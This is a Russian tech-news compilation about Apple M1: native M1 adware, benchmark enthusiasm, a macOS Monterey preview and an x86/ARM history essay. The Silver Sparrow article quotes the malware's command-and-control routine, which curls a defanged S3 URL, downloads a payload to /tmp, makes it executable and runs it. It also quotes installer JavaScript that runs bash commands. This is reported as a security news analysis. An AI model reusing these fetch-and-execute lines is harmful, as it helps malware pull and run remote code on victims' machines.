Русский
Русский
English
Статистика
Реклама

M1

Злоумышленники начали активно разрабатывать нативные зловреды под Apple M1. Первый пошел

18.02.2021 20:14:00 | Автор: admin

Один из доводов маководов в пользу своей системы то, что под нее крайне мало зловредного ПО. А то, что есть, нужно запускать едва ли не вручную, с обходом всех систем защиты, поэтому опасности большинство зловредов под Mac не представляют. Но MacOS становится все популярнее, а значит, и злоумышленники активизируются. Тем более, что большинство пользователей MacOS имеют банковские счета и деньги на них. Так что с них есть что взять.

Так, если раньше доля MacOS составляла 6,5% (примерно 10 лет назад), то сейчас это уже пятая часть рынка, 20%. Соответственно, уже есть смысл создавать зловредное ПО, поскольку пользователей у MacOS миллионы. Этим киберпреступники сейчас и занялись.

Более того, Apple выпустила несколько систем на основе нового чипа M1, так что злоумышленники активно принялись изучать этот чип и его возможности. Первые результаты уже появились. Специалист по информационной безопасности Патрик Уордл на днях опубликовал результаты изучения зловредного расширения для Safari, заточенного исключительно под M1. Это расширение входит в семейство Adware под Mac, которое называется Pirrit Mac.

Apple M1, malware и пользователи


Как известно, ISA у процессоров ARM очень сильно отличается от того, что есть у традиционных x86 процессоров. Прежде всего, это означает необходимость использования эмулятора для запуска x86-софта на системах с ARM-процессором. Разработчики Apple, прекрасно понимая невозможность массовой миграции всего ПО с x86 на M1, создали эмулятор Rosetta 2.

Многие нативные программы работают под M1 чуть быстрее, чем обычный софт на эмуляторе, но разница не настолько чувствительна, чтобы смутить пользователя.

Но злоумышленники, которые разрабатывают зловреды под M1, решили, что нативные приложения тоже нужны, ведь в этом случае пользователь не заметит даже задержки во времени. Все работает быстро, система не подтормаживает, а значит, заподозрить выполнение сторонних операций собственным компьютером сложно.

Что это за ПО и как его обнаружили?


Специалист по информационной безопасности Патрик Уордл использовал учетную запись исследователя на VirusTotal для поиска экземпляров нативного для M1 вредоносного ПО. Он выполнил вот такой запрос:

type: macho tag: arm tag: 64bits tag: multi-arch tag: signed positives: 2 +

Это означает нечто вроде подписанные мультиархитектурные исполняемые файлы Apple, которые включают 64-битный код ARM и были замечены как минимум двумя антивирусными системами.

Уордл провел достаточно масштабную работу по поиску зловредов под М1. В конце концов он нашел расширение Safari под названием GoSearch22. Файл Info.plist пакета приложений показал, что это действительно приложение для MacOS (а не для iOS).

Зловред был подписан сертификатом разработчика ID hongsheng_yan в ноябре 2020 года. Серфикат уже отозван, но точно неизвестно, почему Apple это сделала возможно, компания обнаружила неправомерные действия разработчика или использование его сертификата в интересах злоумышленников.

Можно предположить, что ID отозвали потому, что расширение все же помогло киберпреступникам инфицировать системы жертв. Кто-то заметил проблему, и представители компании приняли меры.

Так а что делает GoSearch22?


Как и говорилось выше, этот зловред член семейства Pirrit Mac. Это очень древнее семейство, если можно так выразиться. Изначально его представители работали под Windows, но потом были портированы под Mac впервые это случилось в 2017 году.

Обнаруженное зловредное расширение устанавливало троян, которое отображает рекламу от злоумышленников. Рекламой забивается буквально вся страница. Плюс заменяется поисковая страница, может устанавливаться пара каких-нибудь бонусов.

Pirrit оснащается системой обхода антивирусных приложений, и это помогает зловреду скрытно продолжать свое темное дело. А еще Pirrit ищет и удаляет приложения и расширения браузера, которые могут ему мешать. Более того, он добивается получения root-доступа. Код вируса обфусцирован, чтобы еще больше усложнить жизнь пользователю и специалистам по ИБ.

Без сомнения, в ближайшем будущем мы увидим новые экземпляры подобного ПО, нативного для М1. GoSearch22 это только начало.

Подробнее..

На 30 тысячах компьютеров с macOS нашли странный зловред, который ждёт команду

23.02.2021 10:12:21 | Автор: admin


Новая вредоносная программа Silver Sparrow (Серебряный воробей), обнаруженная почти на 30000 компьютерах Mac по всему миру, привлекла внимание специалистов по безопасности. Причин несколько. Во-первых, зловред поставляется в двух бинарниках, в том числе для процессора М1. Во-вторых, исследователи не могут понять цель злоумышленников.

Раз в час заражённые компьютеры проверяют контрольный сервер на предмет новых команд или двоичных файлов для выполнения:

curl hxxps://specialattributes.s3.amazonaws[.]com/applications/updater/ver.json > /tmp/version.jsonplutil -convert xml1 -r /tmp/version.json -o /tmp/version.plist<anchor>habracut</anchor>...curl $(/usr/libexec/PlistBuddy -c "Print :downloadUrl" /tmp/version.plist) --output /tmp/verxchmod 777 /tmp/verx/tmp/verx upbuchupsf

Но до сих пор никакой полезной нагрузки не доставлено ни на одну из 30 000 заражённых машин. Отсутствие полезной нагрузки предполагает, что вредоносное ПО может начать действовать, как только будет выполнено неизвестное условие.

Любопытно, что вредоносное ПО поставляется с механизмом полного удаления, который обычно используется в профессиональных разведывательных операциях. Однако до сих пор нет никаких признаков использования функции самоуничтожения, что ставит вопрос о том, зачем этот механизм.

Помимо этих вопросов, вредоносная программа примечательна наличием бинарника для чипа M1, представленного в ноябре 2020 года. Это всего лишь вторая известная вредоносная программа macOS для M1. Двоичный файл ещё более загадочен, потому что для выполнения команд использует JavaScript API установщика macOS. Это затрудняет анализ содержимого установочного пакета или того, как этот пакет использует команды JavaScript. После установки зловред запускается командой system.run.

function bash(command) {         system.run('/bin/bash', '-c', command)    }    function appendLine(line, file)    {        bash(`printf "%b\n" '${line}' >> ${file}`)    }    function appendLinex(line, file)    {        bash(`"echo" ${line} >> ${file}`)    }    function appendLiney(line, file)    {        bash(`printf "%b" '${line}' >> ${file}`)    }


Silver Sparrow поставляется в двух версиях одна с двоичным кодом в формате mach-object, скомпилированным для процессоров Intel x86_64, а другая с двоичным кодом Mach-O для M1

Malware version 1
File name: updater.pkg (installer package for v1)
MD5: 30c9bc7d40454e501c358f77449071aa

Malware version 2
File name: update.pkg (installer package for v2)
MD5: fdd6fb2b1dfe07b0e57d4cbfef9c8149

Командный сервер
hxxps://specialattributes.s3.amazonaws[.]com/applications/updater/ver.json

После исполнения Silver Sparrow оставляет два скрипта на заражённом диске: /tmp/agent.sh и ~/Library/Application Support/verx_updater/verx.sh.

Вредоносная программа обнаружена в 153 странах, преимущественно в США, Великобритании, Канаде, Франции и Германии. Использование Amazon Web Services и сети доставки контента Akamai обеспечивает надёжную работу командной инфраструктуры, а также затрудняет блокировку серверов. Зловред открыли исследователи из компании Red Canary.

Хотя для Silver Sparrow ещё не вышло никакой полезной нагрузки, его считают достаточно серьёзной угрозой. Программа уже сильно распространилась, она совместима с процессорами М1 и выполнена на очень высоком техническом уровне: Silver Sparrow представляет собой достаточно серьёзную угрозу, для доставки потенциально эффективной полезной нагрузки в любой момент, пишут исследователи Red Canary в своём блоге. Учитывая эти причины для беспокойства, в духе прозрачности мы хотели как можно скорее поделиться всей информацией с индустрией информационной безопасности.

До сих пор исследователи не встречали зловреды подобного типа. Этот экземпляр они назвали 'bystander binary', то есть бинарник-наблюдатель. Любопытно, что при выполнении двоичный файл x86_64 отображает слова Hello World!, а бинарник M1 выдаёт You did it!. Исследователи подозревают, что файлы являются некими заполнителями, передают что-то установщику. Компания Apple отозвала сертификат разработчика для обоих бинарников.

Silver Sparrow всего лишь вторая вредоносная программа, написанная нативно для нового чипа Apple M1. Первым стал рекламный зловред GoSearch22 на прошлой неделе.

Нативный код M1 работает на новой платформе быстрее и надёжнее, чем код x86_64, потому что не нуждается в трансляции. Многие разработчики обычных приложений macOS до сих пор не завершили процесс перекомпиляции для M1.

После установки Silver Sparrow ищет, с какого URL был загружен установочный пакет, чтобы операторы ботнета знали, какой канал распространения наиболее эффективен. Пока остаётся неясным, как именно и где распространяется вредоносное ПО и как оно устанавливается. Однако проверка успешных URL предполагает, что одним каналом распространения может быть поисковая выдача, то есть установщики, скорее всего, выдают себя за законные приложения.

Одна из самых впечатляющих вещей в Silver Sparrow количество заражённых ею компьютеров Mac. Коллеги из Malwarebytes обнаружили, что Silver Sparrow установлен на 29139 конечных точках macOS по состоянию на 17февраля 2021 года. Это значительное достижение.

И это только компьютеры, доступные для антивируса MalwareBytes, так что реальное число намного выше. Это ещё раз показывает, что вредоносное ПО для macOS становится всё более распространённым и обычным явлением, несмотря на все усилия Apple, говорит Патрик Уордл (Patrick Wardle), эксперт по безопасности macOS.
Подробнее..

Apple M1. Если Intel ничего не предпримет, то мы можем увидеть его закат

18.11.2020 12:16:11 | Автор: admin


То что сейчас происходит это выбивание стула из под Intel, никак иначе. Еще и AMD может зацепить, хотя они показывают хороший прогресс. Если Intel продолжит свою текущую политику, продолжит считать себя монополией и диктовать цены на свои процессоры, то ее, веряотно, ждет закат. Почему? Я проанализировал первые тесты Apple M1 и они сделали первый серьезный удар.

Сразу скажу Я не фанат Apple, хоть и пользуюсь Apple MacBook Pro 13 еще 2015 года, а недавно выбирал супруге ноутбук и остановился на Apple MaCbook Pro 16, хотя и перебрал множество других недешевых ноутбуков. Я не в восторге от политики компании, от многочисленных багов в MacOS и если бы для меня существовала альтернатива, то я бы с радостью сьехал на Xubuntu. Потому я не являюсь ярым фанатом, потому не пытайтесь меня уличить в предвзятости =)

Сегодня появились в продаже новые MacBook Air, MacBook Pro 13 и Mac mini. Есть первые тесты производительности.

По тесту Geekbench 5 в тесте на 1 ядре Apple M1 3.2 GHz уделывает MacBook Pro 16 на топовом Intel Core i9-9880H 2.6 Ghz и даже iMac 2020 года на топовом Intel Core i9-10910 3.6 GHz. Результаты синтетических тестов 1689 vs 1251 vs 1095.



В multi-core тесте результаты 7288 vs 9021 vs 6869. При этом, у iMac 10 ядер, а у остальных по 8 ядер.



Но! Эти тесты без эмуляции x86, а у M1 архитектура ARM, потому тот же Premier Pro для x86 систем будет медленнее работать. Ранее на Geekbench были замеры в режиме эмуляции и там результаты single core/multi-core были куда скромнее: 1313 и 5888. Но потом с Geekbench данные этих тестов удалили и оставили нативные тесты. Но интернеты помнят все. Даже с эмуляцией это быстрее чем Core i7 и Core i9. А что будет когда Premier Pro и прочие сделают поддержку нативную ARM?



Эти тесты это синтетика, стоит помнить. У MacBook Air нет вентилятора, а у MacBook Pro есть, потому я предполагал возможность перегрева при длительной нагрузке и будет происходить снижение производительности. Но я уже видел экспорт H264 4K@60fps видео длиной в 20 минут, которые не привели к снижению производительности. Производительность не падает! На этом видео, кстати, видно, что экспорт занял 24 минуты, а топовый MBP 14 года проиграл 4%. Разница не так велика, но это Air vs Pro, без вентилятора и базового уровня, дальше Apple обещает более мощные чипы.

Еще под полной нагрузкой M1 нагрелся до 33 градусов по цельсию на корпусе на Air без вентилятора! Что повергло прямо в шок, ибо MacBook Pro 16 греется до 46-50 градусов, жужа как пылесос.

Работа в Davinci, Final Cut и Premiere Pro с 4K видео работает как нативно (Final Cut), так и с Premiere Pro в режиме эмуляции x86 (Rosetta 2). При x4 воспроизведении 4К не наблюдалось тормозов.

Тесты Cinebench R23 показали преимущество над Core i9-9880, 1498 vs 1183 в single core тесте. Правда Ryzen лидирует в multi-core тесте.





Affinity тест: M1 дает жару iMac с AMD 580X.



Утром подьехали тесты компиляции WebKit.





Числа выше говорят за себя. Но вот что еще Apple подняла цены на официальном сайте на версии с Intel процессорами. Для примера, MacBook Pro 16 с Core i9-9880H, 16Gb RAM и 512Gb SSD стоит $2699. В то время как Apple MacBook Air с M1, 16Gb RAM и 512Gb SSD стоит $1499. При почти одинаковой производительности Базовый Air entry level против топового Pro Давление ценой и качеством. Что же, это мощный удар.

Что может последовать дальше? Волна хайпа вдохновит других вендоров и разработчиков OS пересмотреть свой подход. ARM позволяет запускать сотни тысяч приложений с мобильного AppStore и пользователи смогут запускать тот же Instagram уже на Mac. У Google тоже есть своя большая экосистема на ARM и это может подстегнуть Google активней разрабатывать свою OS, либо даже посмотреть в сторону производства своих устройств. Если сойдутся звезды, то и MS присоединиться к гонке. Выиграет от этого покупатель в любом случае. А что думаете вы? Пишите в комментариях!

Материал подготовелен на базе моей публикаций в авторском телеграм канале Об IT без галстуков. Правда о менеджменте, действиях и мотиваторах топ-менеджмента, про то как расти в компании и что ценят собственники бизнеса. Ну и авторский материал про современную разработку!


Изображение на обложку взято с ixbt.com, ну очень в тему)
Подробнее..

Увидеть за 50 секунд смерть Intel и рождение новой галактической империи

23.12.2020 00:17:09 | Автор: admin
image


Первый мой комп был Pentium-100. При помощи Fido и отвертки мы его разгоняли со 100 до 130MHz. Warcraft и C&C начинали летать. Следующий комп был Duron 800. Потом не помню. Я перестал следить за частотой и производительностью. Все статьи на Хабре и HackerNews про процессоры я пропускал. И тут мне попалась статья автора Компьютерры Сергея Голубицкого Из жизни прибедняющихся и я немного прифигел. Не поверил.

По производительности новый процессор Apple превосходит четырехъядерный Intel Core i7 в три с половиной раза. Производительность графики, встроенной в чип М1, в шесть раз быстрее.


Рассказал эпплофилам. Стал присматриваться. Одна за одной на Хабре появлялись радостные/тревожные весточки Ваш компьютер больше не принадлежит вам и Крушение Intel состоялось.

Скачок производительности не в 2 раза к в двухтысячные, а в 3-6 раз! Вау. Но за силу темного лорда есть своя цена.

Обзоры от владельцев


17 ноября Полу Хьюдсону доставили новый MacBook Pro.



Xcode 12.3 beta распаковывается за 5 минут на процессоре M1, и за 13 минут 22 секунды на Intel i9.

Проект автора твитта делится тем, что для программирования M1 показывает впечатляющие результаты. Его проект Unwrap (13k lines Swift, 10k Obj-C, more) плёлся 19.5 секунд на Intel и летал за 11.7 секунд на M1. AudioKit (39k C, 27k Swift, 12k C++) 73 секунд на Intel и 31 секунду на M1.

16-дюймовый ноут MacBook Pro с процессором Intel с 8 ядрами и 64GB RAM стоил $6000, а новый с M1 и 16GB RAM стоит $2000.

Еще несколько сравнительных видео с тестами производительности:

Apple Silicon vs Intel Macbook




таймкоды
0:00:00 Intro
0:00:45 Boot speed
0:01:35 Application install speed
0:02:40 Davinci Resolve Render Test
0:04:38 Davinci Resolve Render Summary
0:05:57 Battery test Youtube
0:06:35 Battery summary Youtube
0:07:41 Cinebench
0:10:29 Cinebench Summary
0:11:17 TW: Warhammer Benchmark
0:13:59 Dota 2 Gameplay
0:15:22 Shadow of the Tomb Raider Benchmark
0:18:33 Comparison Summary


M1 MacBook PRO vs Intel MacBook PRO




таймкоды
Intel vs M1 MacBook Pro 00:00
Physical Differences 0:29
Webcam and Mic Comparison 1:14
Blackmagic SSD Speed Test 2:01
Uncompressing Xcode Speeds 2:38
Geekbench 5 CPU Test 3:57
Geekbench 5 Graphics Test 4:44
GFX Gaming Benchmark 5:43
Cinebench R20 CPU Stress Test 6:39
Cinebench R23 8:56
Final Cut BruceX Benchmark 13:16
Final Cut 4K Video Editing 14:52
Battery Life Comparison 17:42
Lightroom Classic Photo Editing 18:24
Logic Pro Music Production 21:22
Xcode Benchmark 23:30
Should You Upgrade to M1 MacBook Pro? 24:38


M1 MacBook Air vs Intel MacBook Air




таймкоды
Intel vs M1 MacBook Air 00:00
Initial Thermals at Idle 1:22
Physical Differences 1:57
Geekbench 5 CPU Test 3:56
Geekbench 5 Graphics Test 5:22
Webcam and Mic Comparison 5:47
Cinebench R23 CPU Stress Test 6:29
Thermal Throttle Testing 8:15
Zoom Web Conferencing Test 9:36
Web Browsing Performance 12:56
Blackmagic Disk Speed Test 14:00
GFX Gaming Benchmark 15:17
iPhone and iPad App Gaming Test 16:06
League of Legends Gaming Test 19:44
Logic Pro Music Production 22:07
Battery Life Comparison 25:28
Should you buy the M1 MacBook? 26:31


MacBook Pro 13 M1 vs Dell XPS 13




таймкоды
00:00 MBP Specs
01:48 Design
02:20 Displays
03:13 Webcam
03:40 Battery
04:30 Performance
05:40 Gaming
07:40 Video Editing
08:45 Heat & Noise
09:15 Conclusion


MacBook Air M1 (2020) vs MacBook Pro M1 (2020)




Заключение


Школьником и студентом я несколько лет я считал мегагерцы, 17 лет мне было пофиг на гигагерцы, а вот сейчас обратил внимание. При всей своей нелюбви к Apple я выразил уважение качеству фото и видео iPhone 10-11, и сейчас поздравляю Apple с победой.

P.S.


В целях обеспечения безопасности и большей стабильности, Республика будет реорганизована нами в первую Галактическую Империю, во имя сохранности и во имя блага общества!
Верховный канцлер Палпатин

Вот так свобода и умирает под гром аплодисментов.
Сенатор Падме Амидала

image

We shall prevail!
Подробнее..

MacOS 12 Monterey новая ОС от Apple

15.06.2021 00:15:33 | Автор: admin

7го июня компания Apple провела свою ежегодную конференцию для разработчиков - WWDC (Worldwide Developers Conference), на которой, помимо всего, была представлена новая версия macOS - Monterey. Спустя некоторое время стала доступна бета-версия, про которую, сегодня, и пойдет речь.

Внимание! Мы ни коем образом не рекомендуем Вам устанавливать и использовать как основные бета версии операционных систем. В случае, если Вы таки решились на установку, Вы делаете это на свой страх и риск! Автор статьи не несёт никакой ответственности за возможные последствия.

Какие модели Mac поддерживаются macOS Monterey?

Полный список поддерживаемых моделей, опубликованный Apple на своём же сайте

  • iMac конца 2015 года или новее

  • iMac Pro 2017 года или новее

  • MacBook Air начала 2015 года или новее

  • MacBook Pro начала 2015 года или новее

  • Mac Pro конца 2013 года или новее

  • Mac mini конца 2014 года или новее

  • MacBook (12 дюймов) начала 2016 года или новее

Нововведения

Тут стоило бы начать с того, что большинство представленных на WWDC функций не будут работать на Mac с процессорами Intel. Скорее всего, это связано с тем, что в Mac на Intel отсутствует чип Neural Engine, выполняющий вычисления для машинного обучения. А вот в чём Apple реально огорчили, так это тем, что об этом банально не сказали на конференции.

Вот список всех нововведений, отсутствующих на Mac с Intel:

  • Функция Live Text, позволяющая взаимодействовать с текстом на фото.

  • Функция "Portait Mode" для FaceTime.

  • Text-to-speech для финского, датского, норвежского, шведского языка.

  • Interactive Glove в приложении Карты.

  • Непрерывная диктовка с клавиатуры.

  • "Прокачанные" карты Лондона, Сан-Франциско, Нью Йорка и Лос-Анджелеса.

Полный список нововведений можете прочитать тут (напомню, некоторые функции не работают на процессорах Intel)

Когда ждать релиз macOS Monterey?

Точная дата выхода релизной версии новой ОС неизвестна. Известно лишь то, что это будет осенью этого года.

В заключение

Безусловно, macOS Monterey уже имеет много полезных функций (чего стоит один Universal Control). Не исключено, что с новыми бета-версиями их количество может пополниться. Правда некоторые из них, как было описано выше, не работают на процессорах Intel, и вряд-ли когда-нибудь будут на них работать, Apple же нужно как-то продавать "маки" на M1, верно.

Пишите в комментах, что вы думаете о новой ОС от Apple. Также какие нововведения лично вы ожидали увидеть, но их так и не показали.

До скорого!

Подробнее..

Recovery mode macOS 12 Monterey новая ОС от Apple

15.06.2021 04:16:53 | Автор: admin

7го июня компания Apple провела свою ежегодную конференцию для разработчиков - WWDC (Worldwide Developers Conference), на которой, помимо всего, была представлена новая версия macOS - Monterey. Спустя некоторое время стала доступна бета-версия, про которую, сегодня, и пойдет речь.

Внимание! Мы ни коем образом не рекомендуем Вам устанавливать и использовать как основные бета версии операционных систем. В случае, если Вы таки решились на установку, Вы делаете это на свой страх и риск! Автор статьи не несёт никакой ответственности за возможные последствия.

Какие модели Mac поддерживаются macOS Monterey?

Полный список поддерживаемых моделей, опубликованный Apple на своём же сайте

  • iMac конца 2015 года или новее

  • iMac Pro 2017 года или новее

  • MacBook Air начала 2015 года или новее

  • MacBook Pro начала 2015 года или новее

  • Mac Pro конца 2013 года или новее

  • Mac mini конца 2014 года или новее

  • MacBook (12 дюймов) начала 2016 года или новее

Нововведения

Тут стоило бы начать с того, что большинство представленных на WWDC функций не будут работать на Mac с процессорами Intel. Скорее всего, это связано с тем, что в Mac на Intel отсутствует чип Neural Engine, выполняющий вычисления для машинного обучения. А вот в чём Apple реально огорчили, так это тем, что об этом банально не сказали на конференции.

Вот список всех нововведений, отсутствующих на Mac с Intel:

  • Функция Live Text, позволяющая взаимодействовать с текстом на фото.

  • Функция "Portait Mode" для FaceTime.

  • Text-to-speech для финского, датского, норвежского, шведского языка.

  • Interactive Glove в приложении Карты.

  • Непрерывная диктовка с клавиатуры.

  • "Прокачанные" карты Лондона, Сан-Франциско, Нью Йорка и Лос-Анджелеса.

Полный список нововведений можете прочитать тут (напомню, некоторые функции не работают на процессорах Intel)

Когда ждать релиз macOS Monterey?

Точная дата выхода релизной версии новой ОС неизвестна. Известно лишь то, что это будет осенью этого года.

В заключение

Безусловно, macOS Monterey уже имеет много полезных функций (чего стоит один Universal Control). Не исключено, что с новыми бета-версиями их количество может пополниться. Правда некоторые из них, как было описано выше, не работают на процессорах Intel, и вряд-ли когда-нибудь будут на них работать, Apple же нужно как-то продавать "маки" на M1, верно.

Пишите в комментах, что вы думаете о новой ОС от Apple. Также какие нововведения лично вы ожидали увидеть, но их так и не показали.

До скорого!

Подробнее..

Перевод Секретный сопроцессор Apple M1 что это, зачем и как работает

07.02.2021 22:20:29 | Автор: admin

Публикаций о сопроцессоре Apple Matrix (AMX) уже довольно много. Но большинство не особо понятны всем и каждому. Я же попытаюсь объяснить нюансы работы сопроцессора понятным языком.

Почему Apple не слишком распространяется об этом сопроцессоре? Что в нем такого секретного? И если вы читали о Neural Engine в SoC M1, у вас могут возникнуть затруднения в плане понимания, что такого необычного в AMX.

Но для начала вспомним базовые вещи (если вы хорошо знаете, что такое матрицы, а таких читателей, уверен, на Хабре большая часть, то первый раздел можете пропускать, прим. перев.).

Что такое матрица?


Если по-простому, то это таблица с числами. Если вы работали в Microsoft Excel, то, значит, вы имели дело с подобием матриц. Ключевым отличием матриц от обычных таблиц с числами в операциях, которые можно с ними выполнять, а также специфической сути. Матрицу можно представить в виде самых разных форм. Например, в виде строк, тогда это вектор-строка. Или в виде столбца, тогда это, что вполне логично, вектор-столбец.


Мы можем складывать, вычитать, масштабировать и умножать матрицы. Сложение самая простая операцияо. Вы просто добавляете каждый элемент отдельно. Умножение немного сложнее. Вот простой пример.


Что касается прочих операций с матрицами, об этом можно почитать здесь.

Почему мы вообще заговорили о матрицах?


Дело в том, что они повсеместно используются в:

Обработке изображений.
Машинном обучении.
Распознавании рукописного текста и речи.
Сжатии.
Работе с аудио и видео.

Что касается машинного обучения, то для этой технологии нужны производительные процессоры. И просто добавить несколько ядер в чип не вариант. Сейчас ядра заточены под выполнение определенных задач.


Количество транзисторов в процессоре ограничено, соответственно, количество задач/модулей, которые можно добавить в чип, тоже ограничено. В целом, можно бы просто добавить еще ядер в процессор, но это просто ускорит выполнение стандартных вычислений, которые и так выполняются быстро. Поэтому в Apple решили пойти другим путем и выделить модули для обработки изображений, декодирования видео и выполнения задач машинного обучения. Эти модули сопроцессор и ускорители.

В чем разница между сопроцессором Apple Matrix и Neural Engine?


Если вы интересовались Neural Engine, то, вероятно, знаете, что он также выполняет операции с матрицами для работы с задачами машинного обучения. Но если так, то зачем тогда понадобился еще и сопроцессор Matrix? Может быть, это одно и тоже? Я ничего не путаю? Разрешите мне прояснить ситуацию и рассказать, в чем же разница, объяснив, почему нужны обе технологии.


Главный процессор (ЦП), сопроцессоры и ускорители обычно могут обмениваться данными по общей шине данных. ЦП обычно контролирует доступ к памяти, в то время как ускоритель, такой как GPU, часто имеет собственную выделенную память.

Признаю, что в своих прежних статьях я использовал термины сопроцессор и ускорители в качестве синонимов, хотя это не одно и то же. Так, GPU и Neural Engine ускорители разных типов.

В обоих случаях у вас есть специальные области памяти, которые ЦП должен заполнить данными, которые он хочет обработать, плюс еще одна область памяти, которую CPU заполняет списком инструкций, которые должен выполнить ускоритель. Процессору требуется время для выполнения этих задач. Приходится все это координировать, заполнять данные, а затем ждать получения результатов.

И подобный механизм годен для масштабных задач, а вот для малых тасков это уже перебор.


В этом преимущество сопроцессоров перед ускорителями. Сопроцессоры сидят и следят за потоком инструкций машинного кода, которые поступают из памяти (или, в частности, кеша) в ЦП. Сопроцессор вынужден реагировать на конкретные инструкции, которые они были заставлены обрабатывать. Между тем, ЦП в основном игнорирует эти инструкции или помогает облегчить их обработку сопроцессором.

Преимущество заключается в том, что инструкции, выполняемые сопроцессором, можно включить в обычный код. В случае GPU все иначе программы шейдеров помещаются в отдельные буферы памяти, которые затем нужно явно переносить в GPU. Использовать для этого обычный код не получится. И как раз поэтому AMX отлично подходит для выполнения простых задач, связанных с обработкой матриц.

Нюанс здесь в том, что требуется определить инструкции в архитектуре набора инструкций (ISA) вашего микропроцессора. Таким образом, при использовании сопроцессора применяется более тесная интеграция с процессором, чем при использовании ускорителя.

Создатели ARM, кстати, долгое время сопротивлялись добавлению кастомных инструкций в ISA. И это одно из преимуществ RISC-V. Но в 2019 году разработчики сдались, заявив однако следующее: Новые инструкции сочетаются со стандартными инструкциями ARM. Чтобы избежать фрагментации программного обеспечения и поддерживать согласованную среду разработки программного обеспечения, ARM ожидает, что клиенты будут использовать пользовательские инструкции в основном в вызываемых библиотечных функциях.

Это может быть хорошим объяснением отсутствию описания AMX-инструкций в официальной документации. ARM просто ожидает от Apple того, что компания включит инструкции в библиотеках, предоставленных клиентом (в этом случае Apple).

А в чем отличие матричного сопроцессора от векторного SIMD?


В общем-то не так сложно спутать матричный сопроцессор с векторной SIMD-технологией, которая есть в большинстве современных процессоров, включая ARM. SIMD расшифровывается как Single Instruction Multiple Data.


SIMD позволяет увеличить производительность системы в случае необходимости выполнения одной и той же операции над несколькими элементами, что тесно связано с матрицами. В общем-то, инструкции SIMD, включая инструкции ARM Neon или Intel x86 SSE или AVX, часто используются для ускорения умножения матриц.

Но векторный движок SIMD часть ядра микропроцессора, так же как и ALU (модуль арифметической логики) и FPU (модуль с плавающей запятой) являются частью ЦП. Ну а уже декодер инструкций в микропроцессоре решает какой функциональный блок активировать.


А вот сопроцессор это отдельный физический модуль, а не часть ядра микропроцессора. Раньше, например, Intels 8087 был отдельным чипом, который предназначался для ускорения операций с плавающей запятой.


Вам может показаться странным, что кто-то разработал такую сложную систему, с отдельным чипом, который обрабатывает данные, идущие от памяти в процессор, с целью обнаружить инструкцию с плавающей запятой.

Но ларчик открывается просто. Дело в том, что в оригинальном 8086 процессоре было всего 29 000 транзисторов. У 8087 их было уже 45 000. В конечном итоге технологии позволили интегрировать FPU-модули в основной чип, избавившись от сопроцессоров.

Но почему AMX не является частью ядра Firestorm в М1 не совсем понятно. Может быть, Apple просто решила вывести нестандартные ARM-элементы за пределы основного процессора.

Но почему про AMX не особо говорят?


Если AMX не описан в официальной документации, как мы вообще смогли о нем узнать? Спасибо разработчику Дугаллу Джонсону, кто выполнил прекрасный реверс-инжиниринг M1 и обнаружил сопроцессор. Его работа описана вот здесь. Как оказалось, для математических операций, связанных с матрицами Apple создала специализированные библиотеки и/или фреймворки вроде Accelerate. Все это включает следующие элементы:

vImage обработка изображений более высокого уровня, такая как преобразование между форматами, манипулирование изображениями.
BLAS своего рода отраслевой стандарт линейной алгебры (то, что мы называем математикой, имеющей дело с матрицами и векторами).
BNNS используется для запуска нейронных сетей и обучения.
vDSP цифровая обработка сигналов. Преобразования Фурье, свертка. Это математические операции, выполняемые при обработке изображения или любого сигнала, содержащего звук.
LAPACK функции линейной алгебры более высокого уровня, например, решение линейных уравнений.

Джонсон понимал, что именно эти библиотеки будут использовать сопроцессор AMX для ускорения вычислений. Поэтому он разработал специализированный софт для анализа и мониторинга действий библиотек. В конечном итоге ему удалось обнаружить недокументированные инструкции машинного кода AMX.

А Apple не документирует все это потому, что ARM LTD. старается не особо афишировать информацию. Дело в том, что если кастомные функции действительно будут широко применяться, это может привести к фрагментации экосистемы ARM, о чем и говорилось выше.

У Apple появляется возможность, не особо афишируя все это, позже изменить работу систем при необходимости например, удалять или добавлять AMX-инструкции. Для разработчиков достаточно платформы Accelerate, все остальное система сделает сама. Соответственно, Apple может контролировать как оборудование, так и ПО для него.

Преимущества сопроцессора Apple Matrix


Здесь много всего, отличный обзор возможностей элемента сделала компания Nod Labs, которая специализируется на машинном обучении, интеллекте и восприятии. Они, в частности, выполнили сравнительные тесты производительности AMX2 и NEON.

Как оказалось AMX в два раза быстрее выполняет необходимые для выполнения действий с матрицами операции. Это не значит, конечно, что AMX лучше всех, но для машинного обучения и высокопроизводительных вычислений да.

В качестве вывода можно сказать, что сопроцессор Apple впечатляющая технология, которая дает Apple ARM преимущество в задачах машинного обучения и высокопроизводительных вычислений.

Подробнее..

В раздумьях об ARMагеддоне

09.12.2020 12:08:12 | Автор: admin
Привет, Хабр! Меня зовут Сергей Минаев, я руководитель направления администрирования веб-сервисов в компании Спортмастер.

И пока весь мир обсуждает, насколько удачным получился процессор Apple M1, и действительно ли можно верить бенчмаркам, я и мои инженеры погрузились в раздумья о грядущем.
Мы сидели и курили, начинался новый день, а из головы все никак не уходили мысли о том, что произошло. Нет, мы не обсуждали возможное крушение Intel, мы не думали о том, что будет дальше делать AMD с x86, не думали про Вендекапец. Мы пытались и все еще пытаемся понять, насколько изменит веб-разработку новый продукт от Apple.

Давайте вернемся в давным-давно, в далекой галактике и вспомним про различные архитектуры процессоров, и почему они остались на обочине истории.

В начале было слово. Потом двойное слово




Когда компьютеры были такими же большими, как и деревья, а x86 был маленьким, как трава, основную работу проводили на больших компьютерах, и никто особо сильно не воспринимал всерьез IBM PC. Но тут произошла революция номер раз появился 80386. Появился защищенный режим, можно было адресовать 4Гб памяти но все это на самом деле не имеет никакого значения. Значение имеют цена и распространённость. В какой-то момент x86 благодаря Microsoft очень малоизвестной компании начал завоевывать рынок персональных компьютеров, которые можно было покупать домой. А там, где множество, там и появляется подручный, привычный и любимый инструмент. Именно таким инструментом стал x86, под который начали писать очень много ПО, и это ПО писали на самом x86.

Да, был рынок больших и тяжелых DEC Alpha, PowerPC, MIPS, SPARC. Компьютеры Apple на Motorolla/PowerPC мы пока что обходим стороной. Но самое важное происходило на уровне персоналок: x86 был привычным и распространённым инструментом, с каждым поколением увеличивалась производительность, а доступность была выше, чем у других архитектур. Все это привело к тому, что критическая масса ПО получила распространение именно под x86, хороший пример тому постепенный отказ Microsoft от архитектур Alpha, MIPS и PowerPC в Windows NT 4.0

Постепенно x86 начал врываться в серверный сегмент, где раньше царили PowerPC, MIPS, IA64. Со временем архитекторы стали отказываться от кастомных архитектур, на рынке серверов стал доминировать x86 (уже amd64), а такие гиганты как PowerPC и SPARC перешли в очень нишевый рынок. MIPS ушел в роутеры, от PA-RISC отказались ради IA64, а IA64 нашел свой айсберг.

